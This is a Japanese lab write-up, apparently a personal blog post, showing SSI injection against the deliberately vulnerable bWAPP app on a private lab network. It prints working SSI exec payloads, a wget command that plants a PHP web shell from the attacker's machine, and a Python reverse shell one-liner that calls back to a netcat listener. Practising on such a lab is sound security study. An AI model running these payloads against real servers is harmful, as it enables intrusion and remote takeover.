はじめに
「ハッキング・ラボのつくりかた」p.631-640を参考にして、KaliLinux2022.1で検証した記事となります。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
SSIインジェクション
SSI(server-side Includes)によるHTML生成に干渉する攻撃。
検証
"http://192.168.56.60/bWAPP/portal.php"にアクセスして、プルダウンメニューから、「Server-Side Includes(SSI) Injection」を選択する。
選択すると、"http://192.168.56.60/bWAPP/ssii.php"に遷移する。
SSI injection
適当に123,123と入力してみた結果は、以下の通り。
出力の1行目は、"Hello, 変数:First name, 変数:Last name"となっている。また、英字を入れると、頭文字が大文字に変換された。
次は、同書に従って、次のような入力を与えた。
First name: <!--#exec cmd="hostname"-->
Last name: <!--#exec cmd="pwd"-->
<!--#exec cmd="コマンド"-->という形でコマンドが実行できた。
リバースシェルを外部からダウンロードできるようにする
KaliLinuxには、Webシェルが保存されている。これを、bee-boxに配置してバックドアにする。
PHPで欠かれたwebシェルを外部からダウンロードできるようにする。
sudo cp /usr/share/webshells/php/php-backdoor.php /var/www/html/
cd /var/www/html/
cp php-backdoor.php php-backdoor.php.txt
sudo systemctl restart apache2
Webシェルの転送
"http://192.168.56.60/bWAPP/ssii.php"に戻って、次のように入力してみる。
First name: <!--#exec cmd="wget http://192.168.56.2/php-backdoor.php.txt -O /var/www/bWAPP/web_shell.php"-->
Last name: test
192.168.56.2はKaliLinux,192.168.56.60はbee-boxのIPアドレスを示す。
次のような結果となった。testが1行目に表示されるが、First nameに入力したコマンドの結果は、表面上はわからない。コマンドが正常に完了しているなら、"/var/www/bWAPP/"に"web_shell.php"を保存しているので、"http://192.168.56.60/bWAPP/web_shell.php"にアクセスできる。
リバースシェルの実行
Webシェル(web_shell.php)を通じて、ファイルのアップデートやダウンロードやwebシェルの権限で任意のコマンドを実行できる。(cdコマンドでのディレクトリ移動は不可)しかし、コマンドの結果が遷移した先のwebページで表示されるので、コマンド入力と戻りを繰り返すことになって煩雑である。そこで、bee-box上でリバースシェルを起動させる。
kaliLinuxの端末で、次のコマンドを実行する。
nc -nlvp 4444
netcatで、リバースシェルを受け付ける。
その状態で、web_shell.phpの「execute command:」の入力フォームに、次のコマンドを実行する。
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.2",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
ttyシェルの奪取
うまく行かなかったので、省略しました。
ゆえに、tabキーを押下しても、補完はされない状態です。
おわり
参考にしたもの
「ハッキング・ラボのつくりかた」